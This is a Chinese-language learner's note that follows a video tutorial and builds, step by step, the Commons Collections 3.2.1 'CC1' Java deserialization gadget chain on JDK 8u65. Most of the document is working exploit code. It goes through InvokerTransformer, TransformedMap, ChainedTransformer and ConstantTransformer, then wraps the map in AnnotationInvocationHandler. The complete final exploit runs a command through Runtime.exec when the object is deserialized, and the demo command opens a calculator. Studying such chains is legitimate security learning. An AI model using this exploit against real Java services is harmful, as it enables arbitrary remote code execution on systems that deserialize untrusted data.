CC1番外
该笔记是记录观看b站白日梦组长Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili的记录,大佬牛逼!!!
初学者(比如我),建议反复刷该视频。
环境搭建
JDK:8u65
Maven:3.6.2
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
这里有一个坑,就是我们需要添加sun包,因为我们打开源码,很多地方的文件是 .class 文件,都是反编译代码,我们很难读懂,所以需要需要从网上下载 .java 文件。
下载地址是这个:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4
下载zip文件,解压
复制下面sun包,注意目录
复制到jdk目录下
接着需要在idea里面,导入
我们随便点开sun目录下,发现是java文件,至此可以调试了。
链子分析
首先回顾一下反序列化漏洞的攻击思路:
入口类这里,我们需要一个 readObject
方法,结尾这里需要一个能够命令执行的方法。我们中间通过链子引导过去。所以我们的攻击一定是从尾部出发去寻找头的,流程图如下:
我们知道宇宙万法的那个源头就是Transformer
接口🐶
我么看一下谁实现了Transformer
接口
我们需要寻找一个可以执行命令的地方,要不是反射,要不就是动态加载字节码的地方,最终出现的地方在InvokerTransformer
,
我们看到这里可能存在漏洞点,尝试构造一下
import org.apache.commons.collections.functors.InvokerTransformer;
public class Main {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
invokerTransformer.transform(r);
}
}
现在我们找到InvokerTransformer
里面的transform
方法是一个危险方法,所以我们往回找,谁的里面调用了这个方法。直接Find Usages
,注意,这里要找的是不同方法的内部调用transform
。
我们找到三个点,一个是TransformedMap,另一个是LazyMap,还有一个DefaultedMap
比如说LazyMap里面的get方法里面调用了transform
,我们接下来就可以看看谁的readObject函数里面调用了get方法,如果有的话,就很好利用。
但是这里我们先看TransformedMap这个点:
TransformedMap类的checkSetValue方法调用了transform方法
那么什么是valueTransformer呢?直接看构造函数,可以看到是构造函数是protected,肯定是给自己调用的。接着理解一下这个构造函数是干嘛的?传进去一个 Map,一个key的Transformer,一个 value 的Transformer,应该是会对 Map 的key和 value 进行操作,操作已经写到Transformer里面了。
我们看一下是谁调用了这个构造方法,是静态方法decorate
方法,
我们现在确定的是TransformedMap类的checkSetValue方法调用了transform方法(valueTransformer.transform(value)),那么如果把valueTransformer变为前面的InvokerTransformer,且 value 值可控,那么当执行checkSetValue方法的时候,不就能出发漏洞了吗。
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> decorateMap = TransformedMap.decorate(map,null,invokerTransformer);
那么checkSetValue
方法怎么调用呢?
我们点进去看,发现这是一个抽象类,是 TransformedMap
的父类——AbstractInputCheckedMapDecorator
类。
调用 checkSetValue
方法的类是 AbstractInputCheckedMapDecorator
类中的一个内部类 MapEntry
,setValue()
实际上就是在 Map 中对一组 entry(键值对) 进行 setValue()
操作。
所以,我们在进行 .decorate
方法调用,进行 Map 遍历的时候,就会走到 setValue()
当中,而 setValue()
就会调用 checkSetValue
。
写一个demo,看看在遍历一个经过decorate之后的 Map,是否会触发setValue()
,进而走到checkSetValue()
里面。
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry : decorateMap.entrySet()) {
entry.setValue(r);
}
}
}
可见,真的触发setValue()
,进而走到checkSetValue()
里面了。
所以,如果有一个遍历Map的地方,并且调用了setValue(),即可构造poc。
**当然,如果能找到一个 readObject()
** ** 里面调用了 setValue()
** 就太好了。
还是FindUsages
,成功找到一个在readObject()
方法里面调用setValue()
的地方,
AnnotationInvocationHandler
类的readObject
函数,我们先看一下构造函数
构造函数传进去两个参数,一个是注解,另一个是一个 Map,这个 map 就是我们传进去的恶意的 map(decorateMap)。
readObject函数里面完美符合我们的条件。
但是我们需要注意的是:AnnotationInvocationHandler
类的作用域为 default
,我们需要通过反射的方式来获取这个类及其构造函数,再实例化它。还要满足两个if语句。
开始手写
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer);
//通过发射把decorateMap传进去
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor dc = clazz.getDeclaredConstructor(Class.class, Map.class);
dc.setAccessible(true);
Object o = dc.newInstance(Target.class, decorateMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
这是理想情况,但是这样是不会触发漏洞的,为什么呢?
这里面有 3 个问题需要解决
Runtime
对象不可序列化,需要通过反射将其变成可以序列化的形式。setValue()
的传参,是需要传进去一个Runtime
对象的;而在实际情况当中的setValue()
的传参是这个东西
- 两个if语句没有满足
解决问题 1
Runtime 类不能序列化,但是 Runtime.class是可以序列化的
我们可以通过反射执行Runtime.getRuntime()
public class Main {
public static void main(String[] args) throws Exception {
Class clazz = Runtime.class;
Method getruntime = clazz.getMethod("getRuntime",null);
Runtime r = (Runtime) getruntime.invoke(null,null);//由于是静态方法,所以第一个参数是 null,由于是无参的,所以第二个参数也为 null
Method execMethod = clazz.getMethod("exec", String.class);
execMethod.invoke(r,"open -a Calculator");
}
}
现在转换为InvokerTransformer版本
public class Main {
public static void main(String[] args) throws Exception {
// Class clazz = Runtime.class;
// Method getruntime = clazz.getMethod("getRuntime",null);
// Runtime r = (Runtime) getruntime.invoke(null,null);//由于是静态方法,所以第一个参数是 null,由于是无参的,所以第二个参数也为 null
// Method execMethod = clazz.getMethod("exec", String.class);
// execMethod.invoke(r,"open -a Calculator");
Method getruntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getruntime);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}).transform(r);
}
}
这里看代码算是一个循环调用,即:
稍微理一理可以看到,上方主函数最后三行代码有一个共同点就是:
- 格式都为
new InvokerTransformer().transform()
- 后一个
transform()
方法里的参数都是前一个的结果
从代码的复用性角度来说,我们应当减少这种复用的工作量,于是我们使用 ChainedTransformer
这个类。
代码如下:
只需要在最开始的transform
函数传一个Runtime.class
即可。
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
new ChainedTransformer(transformers).transform(Runtime.class);
}
}
至此,第一个问题解决。
与之前的链子结合起来:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor dc = clazz.getDeclaredConstructor(Class.class, Map.class);
dc.setAccessible(true);
Object o = dc.newInstance(Target.class, decorateMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
但是我们还是弹不出计算器,是因为还有问题没解决。
调试一下看看为什么
看到memberType是空的,压根没有进去
解决问题 3
首先需要确保memberType不为空。
Target.class ——》type,一个注解
decorateMap——》memberValues
看源码可以得知,要想memberType不为空,传进去的type的值,注解必须有参数,不为空
内置的注解可以用的有Retention,Target都可以
注解参数为value,那么我们构造的 map 的key的值必须也为 “value”
package demo1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor dc = clazz.getDeclaredConstructor(Class.class, Map.class);
dc.setAccessible(true);
Object o = dc.newInstance(Retention.class, decorateMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
终于可以进去了
问题 3 解决了。
解决问题 2
此时我们虽然进来了,但是checkSetValue(value)
里面 value 的值还是不可控的,现在它的值是
下面这两句话其实是一样的
valueTransformer.transform(value);
chainedTransformer.transform(Runtime.class);
我们需要把 value传进去一个Runtime.class才行,怎么做呢?
这里引入ConstantTransformer,ConstantTransformer是实现了Transformer接口的一个类,它的过程就是在构造函数的时候传入一个 对象,并在transform方法将这个对象再返回。
只需要在构造poc的开头new ConstantTransformer(Runtime.class)`出来就行了。
这样,问题 2 也解决了。
我们重写一下整条exp
package demo1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor dc = clazz.getDeclaredConstructor(Class.class, Map.class);
dc.setAccessible(true);
Object o = dc.newInstance(Retention.class, decorateMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}